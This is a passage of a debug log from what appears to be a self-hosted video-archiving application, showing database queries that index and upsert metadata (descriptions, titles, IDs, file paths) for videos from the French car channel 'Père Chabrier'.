3, [], 98, ~U[2025-03-21 17:15:02Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Re ! Merci du soutien pour la chaine, comme vous le savez ça aide l'algo d'interagir avec le contenu en commentant, en le likant et en le partageant. 🫶\n\nMerci à Autopremium Chantilly pour le prêt de cette magnifique e63s🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#amg #autobahn #drift", "La classe E, comme \"EH BEEEH ELLE MARCHE L'AUTO\" - Mercedes E63s finition Autobahnkiller", "Pvm-_HSuk3g", 1767, false, "https://www.youtube.com/watch?v=Pvm-_HSuk3g", "/downloads/Père Chabrier/2025-03-21 La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller/La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller [Pvm-_HSuk3g].mkv", false, 3, ~U[2025-03-21 17:15:02Z]] 06:34:29.041 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=35.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.044 [debug] QUERY OK source="media_items" db=2.5ms queue=0.4ms idle=35.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-21 17:15:07Z], 3] 06:34:29.048 [debug] QUERY OK source="media_items" db=3.2ms idle=37.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un immense merci à toutes les personnes qui ont contribué à ce projet, que ce soit de près ou de loin. \n\nCi-joint, la liste de toutes les personnes talentueuses qui ont travaillé sur ce court-métrage : \n\n- Écrit et réalisé par Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n\n- Production exécutive ENKOR Films https://www.instagram.com/enkorfilms/\n\n- Producteur exécutif : Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n- Directrice de production : Fanny Alberny https://www.instagram.com/fannyalberny/\n- Chargée de production : Laurane Da Silva \n- Assistante de production : Fanny Gerard \n\n- Chef opérateur : Baptiste Jung https://www.instagram.com/baptistejung_dop/\n- 1er assistant opérateur : Nolan Joigne https://www.instagram.com/nolan_jgn/\n- Chef électricien : Clément Girollet https://www.instagram.com/clmtyy/\n- Électricien : Raphaël Vignes https://www.instagram.com/raph_s.w/\n\n- Ingénieur du son : Valentin Blavette https://www.instagram.com/valentin_blvt/\n\n- Cheffe décoratrice : Margo Durance\n- Assistante décoratrice : Solène Pauvert \n\n- Régisseuse générale : Cassandra Borie\n- Renfort régie : Maxime Le Moal https://www.instagram.com/maxlm29/\n\n- Cheffe maquilleuse : Mathilde Leroy \n\n- Chef monteur : Louis Descombes https://www.instagram.com/descombes_louis/\n- Monteur additionnel : Axel Canut https://www.instagram.com/axl.edit/\n- Etalonnage : https://www.instagram.com/baptistejung_dop/\n- Graphiste : Pi3rrebsi https://www.instagram.com/pi3rrebsi/\n\n- Photographe de plateau : Laurane Meimoun https://www.instagram.com/pointzipraw/\n- Making-of : Clara Clément\u00A0https://www.instagram.com/cltclara/\n\n- Dresseuse : Cécile Parquet https://www.instagram.com/cecileparquetstunt/\n\nAvec dans le rôle de : \n\n- Jean-Gab : Raphaël Distier \n- Le mécano : Thiebault Carlier\n- La coiffeuse : Cassandra Borie\n- L'ivrogne : Bruno Galvan Y Garcia\n_____________________________________\n\nMerci à Aymeric et Stéphane de Fly and Fun pour le prêt de leur avion👉 https://www.flyandfun.fr/ \nMerci à Fabienne du Thiverny Club pour le prêt de son bar et sa gentillesse. \nMerci à Nicolas et à son équipe d'Autopremimum Chantilly. \nMerci au Château de Troissereux et à Delphine. \nMerci au propriétaire de la De Tomaso Pantera. \nMerci à Cécile et à son fidèle destrier Cali. \nMerci à mes parents, à ma grand-mère, à Cassandra, Justin, Léa, Maxime, Justine, Angèle, Emma, Attiana et Gaëlle. \nMerci aux comédiens, Raphaël, Thiebault et Bruno. \nMerci à Enzo et Antony, les figurants de la Racebox. \nMerci à mon équipe, Julien, Axel, Laurane et Pierre. \nMerci à Julie et Xavier de Balboa et merci à Félix de SOS Ciné. \n\nUn énorme merci à toute l'équipe de tournage. \n\n‼️ Aucunes des personnes nommées ou reconnues dans le film n’ont à subir d’harcèlement lié à cette histoire. Merci pour votre compréhension. 🫶🏼\n\n#menthe #comte #car", "La véritable histoire du Comte de Menthe et Cristaux", "096ec477-edb4-45b2-a740-a2f2c226fb58", "wJyc7DId9kU", 926, false, "https://www.youtube.com/watch?v=wJyc7DId9kU", 12, "/downloads/Père Chabrier/2025-02-21 La véritable histoire du Comte de Menthe et Cristaux/La véritable histoire du Comte de Menthe et Cristaux [wJyc7DId9kU].mkv", false, false, false, 3, [], 98, ~U[2025-02-21 17:15:07Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Un immense merci à toutes les personnes qui ont contribué à ce projet, que ce soit de près ou de loin. \n\nCi-joint, la liste de toutes les personnes talentueuses qui ont travaillé sur ce court-métrage : \n\n- Écrit et réalisé par Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n\n- Production exécutive ENKOR Films https://www.instagram.com/enkorfilms/\n\n- Producteur exécutif : Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n- Directrice de production : Fanny Alberny https://www.instagram.com/fannyalberny/\n- Chargée de production : Laurane Da Silva \n- Assistante de production : Fanny Gerard \n\n- Chef opérateur : Baptiste Jung https://www.instagram.com/baptistejung_dop/\n- 1er assistant opérateur : Nolan Joigne https://www.instagram.com/nolan_jgn/\n- Chef électricien : Clément Girollet https://www.instagram.com/clmtyy/\n- Électricien : Raphaël Vignes https://www.instagram.com/raph_s.w/\n\n- Ingénieur du son : Valentin Blavette https://www.instagram.com/valentin_blvt/\n\n- Cheffe décoratrice : Margo Durance\n- Assistante décoratrice : Solène Pauvert \n\n- Régisseuse générale : Cassandra Borie\n- Renfort régie : Maxime Le Moal https://www.instagram.com/maxlm29/\n\n- Cheffe maquilleuse : Mathilde Leroy \n\n- Chef monteur : Louis Descombes https://www.instagram.com/descombes_louis/\n- Monteur additionnel : Axel Canut https://www.instagram.com/axl.edit/\n- Etalonnage : https://www.instagram.com/baptistejung_dop/\n- Graphiste : Pi3rrebsi https://www.instagram.com/pi3rrebsi/\n\n- Photographe de plateau : Laurane Meimoun https://www.instagram.com/pointzipraw/\n- Making-of : Clara Clément\u00A0https://www.instagram.com/cltclara/\n\n- Dresseuse : Cécile Parquet https://www.instagram.com/cecileparquetstunt/\n\nAvec dans le rôle de : \n\n- Jean-Gab : Raphaël Distier \n- Le mécano : Thiebault Carlier\n- La coiffeuse : Cassandra Borie\n- L'ivrogne : Bruno Galvan Y Garcia\n_____________________________________\n\nMerci à Aymeric et Stéphane de Fly and Fun pour le prêt de leur avion👉 https://www.flyandfun.fr/ \nMerci à Fabienne du Thiverny Club pour le prêt de son bar et sa gentillesse. \nMerci à Nicolas et à son équipe d'Autopremimum Chantilly. \nMerci au Château de Troissereux et à Delphine. \nMerci au propriétaire de la De Tomaso Pantera. \nMerci à Cécile et à son fidèle destrier Cali. \nMerci à mes parents, à ma grand-mère, à Cassandra, Justin, Léa, Maxime, Justine, Angèle, Emma, Attiana et Gaëlle. \nMerci aux comédiens, Raphaël, Thiebault et Bruno. \nMerci à Enzo et Antony, les figurants de la Racebox. \nMerci à mon équipe, Julien, Axel, Laurane et Pierre. \nMerci à Julie et Xavier de Balboa et merci à Félix de SOS Ciné. \n\nUn énorme merci à toute l'équipe de tournage. \n\n‼️ Aucunes des personnes nommées ou reconnues dans le film n’ont à subir d’harcèlement lié à cette histoire. Merci pour votre compréhension. 🫶🏼\n\n#menthe #comte #car", "La véritable histoire du Comte de Menthe et Cristaux", "wJyc7DId9kU", 926, false, "https://www.youtube.com/watch?v=wJyc7DId9kU", "/downloads/Père Chabrier/2025-02-21 La véritable histoire du Comte de Menthe et Cristaux/La véritable histoire du Comte de Menthe et Cristaux [wJyc7DId9kU].mkv", false, 3, ~U[2025-02-21 17:15:07Z]] 06:34:29.049 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=40.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.051 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=11.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-20 17:15:00Z], 3] 06:34:29.055 [debug] QUERY OK source="media_items" db=3.2ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci aux copains Thibault et Jo de Cascades Expériences \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.cascadesexperiences.fr/\n\nMerci à RS Performance d'avoir sauvé l'honneur de mon Range, n'hésitez pas à les suivre pour leur donner de la force 🙏\n👉 https://www.instagram.com/rsperformance95\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Cadragisme à temps partiel - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, Cadreur, Ingé Son, Nounou et tout ce qui s'en suit\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#tuning #nitro #fastandfurious", "Un KIT NITRO sur le C1 ça marche ?", "ad28ef1f-8877-485e-8ece-829313d14c94", "acJE33ruh-I", 1715, false, "https://www.youtube.com/watch?v=acJE33ruh-I", 13, "/downloads/Père Chabrier/2024-12-20 Un KIT NITRO sur le C1 ça marche ?/Un KIT NITRO sur le C1 ça marche ? [acJE33ruh-I].mkv", false, false, false, 3, [], 98, ~U[2024-12-20 17:15:00Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Un grand merci aux copains Thibault et Jo de Cascades Expériences \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.cascadesexperiences.fr/\n\nMerci à RS Performance d'avoir sauvé l'honneur de mon Range, n'hésitez pas à les suivre pour leur donner de la force 🙏\n👉 https://www.instagram.com/rsperformance95\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Cadragisme à temps partiel - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, Cadreur, Ingé Son, Nounou et tout ce qui s'en suit\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#tuning #nitro #fastandfurious", "Un KIT NITRO sur le C1 ça marche ?", "acJE33ruh-I", 1715, false, "https://www.youtube.com/watch?v=acJE33ruh-I", "/downloads/Père Chabrier/2024-12-20 Un KIT NITRO sur le C1 ça marche ?/Un KIT NITRO sur le C1 ça marche ? [acJE33ruh-I].mkv", false, 3, ~U[2024-12-20 17:15:00Z]] 06:34:29.057 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=12.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.059 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=10.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-13 17:15:02Z], 3] 06:34:29.063 [debug] QUERY OK source="media_items" db=2.2ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🚗💨 Si toi aussi il te manque une pièce sur ta 206 pour la démarrer, tu peux obtenir des pièces détachées chez Ovoko → https://ovoko.fr/creators/pierrechabrier\nAchetez sans risque avec une garantie de remboursement de 14 jours ! 🔧\nCollaboration commerciale\n___________________________________\n\nMerci à Moteur & Sens pour le prêt de ces deux très beaux bolides. N'hésitez pas à les suivre sur leurs réseaux 🙏❤️ : \n👉https://www.instagram.com/moteuretsens/\n👉https://www.youtube.com/@moteuretsens\n\nUn grand merci également à l'autodrome UTAC Linas-Montlhéry : \n👉 https://www.instagram.com/utaccompany/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#astonmartin #circuit #pourtoi", "Vous ne connaissez PAS ces Aston Martin", "0c2291d1-7389-4bda-be5f-1e8c6b82cec0", "ZKeg2SbRHPo", 2362, false, "https://www.youtube.com/watch?v=ZKeg2SbRHPo", 14, "/downloads/Père Chabrier/2024-12-13 Vous ne connaissez PAS ces Aston Martin/Vous ne connaissez PAS ces Aston Martin [ZKeg2SbRHPo].mkv", false, false, false, 3, [], 98, ~U[2024-12-13 17:15:02Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "🚗💨 Si toi aussi il te manque une pièce sur ta 206 pour la démarrer, tu peux obtenir des pièces détachées chez Ovoko → https://ovoko.fr/creators/pierrechabrier\nAchetez sans risque avec une garantie de remboursement de 14 jours ! 🔧\nCollaboration commerciale\n___________________________________\n\nMerci à Moteur & Sens pour le prêt de ces deux très beaux bolides. N'hésitez pas à les suivre sur leurs réseaux 🙏❤️ : \n👉https://www.instagram.com/moteuretsens/\n👉https://www.youtube.com/@moteuretsens\n\nUn grand merci également à l'autodrome UTAC Linas-Montlhéry : \n👉 https://www.instagram.com/utaccompany/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#astonmartin #circuit #pourtoi", "Vous ne connaissez PAS ces Aston Martin", "ZKeg2SbRHPo", 2362, false, "https://www.youtube.com/watch?v=ZKeg2SbRHPo", "/downloads/Père Chabrier/2024-12-13 Vous ne connaissez PAS ces Aston Martin/Vous ne connaissez PAS ces Aston Martin [ZKeg2SbRHPo].mkv", false, 3, ~U[2024-12-13 17:15:02Z]] 06:34:29.064 [debug] QUERY OK source="sources" db=0.6ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.066 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=9.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-06 17:15:00Z], 3] 06:34:29.070 [debug] QUERY OK source="media_items" db=2.5ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Akram (et petite pensée pour Dingo) pour ses anecdotes folles 🙏\n\n👉 https://www.instagram.com/akramjunior/\n👉 https://www.youtube.com/@UCyRnVNtJYhAFZP1xOTPAL4Q \n\n___________________________________\n\nOn se retrouve en JANVIER 2025 pour participer au prochain LIVE de Canap avec Chauffeur \n\n📺 TWITCH 👉 https://www.twitch.tv/perechabrier\n\nLes autres réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\n_____________________________________\n\nMerci à Nicoflow pour l'envoi de l'ecoflow, promis on en prendra soin. Ci-joint une url vers son adresse web : https://nicoflow.fr/ \n\n___________________________________\n\nMerci à cette équipe de fou malade : \n- Jjjjjjulien Adao : Ecriture et Production ainsi que chauffeurisme - https://www.instagram.com/jjjjjjulien/\n- Chargée de Prod : Laurane Da Silva \n- Real direct : Raphaël Chiche ENKOR FILMS - https://www.enkorfilms.com\n- Montage : TonyCut - https://x.com/TonyCut_ \n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n- Les modos twitch du FUTUR : Mademoisellehope - Johann - Avrell - Charisme - DonpyShot - Liinae - Zarkiel - Crawling - Clem SHD \n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#CANAP #voiture #interview", "AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7", "674eec6f-1929-4cf2-a5e7-bdffbe1eefa9", "2vKhQy2FAqA", 2394, false, "https://www.youtube.com/watch?v=2vKhQy2FAqA", 15, "/downloads/Père Chabrier/2024-12-06 AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7/AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7 [2vKhQy2FAqA].mp4", false, false, false, 3, [], 98, ~U[2024-12-06 17:15:00Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Merci à Akram (et petite pensée pour Dingo) pour ses anecdotes folles 🙏\n\n👉 https://www.instagram.com/akramjunior/\n👉 https://www.youtube.com/@UCyRnVNtJYhAFZP1xOTPAL4Q \n\n___________________________________\n\nOn se retrouve en JANVIER 2025 pour participer au prochain LIVE de Canap avec Chauffeur \n\n📺 TWITCH 👉 https://www.twitch.tv/perechabrier\n\nLes autres réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\n_____________________________________\n\nMerci à Nicoflow pour l'envoi de l'ecoflow, promis on en prendra soin. Ci-joint une url vers son adresse web : https://nicoflow.fr/ \n\n___________________________________\n\nMerci à cette équipe de fou malade : \n- Jjjjjjulien Adao : Ecriture et Production ainsi que chauffeurisme - https://www.instagram.com/jjjjjjulien/\n- Chargée de Prod : Laurane Da Silva \n- Real direct : Raphaël Chiche ENKOR FILMS - https://www.enkorfilms.com\n- Montage : TonyCut - https://x.com/TonyCut_ \n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n- Les modos twitch du FUTUR : Mademoisellehope - Johann - Avrell - Charisme - DonpyShot - Liinae - Zarkiel - Crawling - Clem SHD \n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#CANAP #voiture #interview", "AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7", "2vKhQy2FAqA", 2394, false, "https://www.youtube.com/watch?v=2vKhQy2FAqA", "/downloads/Père Chabrier/2024-12-06 AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7/AKRAM n'a PAS le permis ?? - CANAP avec CHAUFFEUR #7 [2vKhQy2FAqA].mp4", false, 3, ~U[2024-12-06 17:15:00Z]] 06:34:29.071 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:29.073 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=9.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-29 17:15:00Z], 3] 06:34:29.077 [debug] QUERY OK source="media_items" db=2.9ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci encore une fois à Nicolas pour le prêt du Juke, à Matt pour le prêt de la Clio et à Florian pour sa précieuse aide. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production, CM,\n- Julien Adao : Ecriture, A perdu à la drag race - https://www.instagram.com/jjjjjjulien/\n- Cadreur : Lucas Colômes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#nissan #dragrace #pourtoi", "Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?", "8c836481-97fb-41c9-b2dc-f3ff79393f99", "E2kMVzdXjpU", 1968, false, "https://www.youtube.com/watch?v=E2kMVzdXjpU", 16, "/downloads/Père Chabrier/2024-11-29 Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0?/Nissan Juke NISMO RS : mieux que la CLIO\u00A0RS\u00A0? [E2kMVzdXjpU].mkv", false, false, false, 3, [], 98, ~U[2024-11-29 17:15:00Z], ~U[2026-04-20 04:34:29Z], ~U[2026-04-20 04:34:29Z], "Merci encore une fois à Nicolas pour le prêt du Juke, à Matt pour le prêt de la Clio et à Florian pour sa précieuse aide. 🙏❤️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche 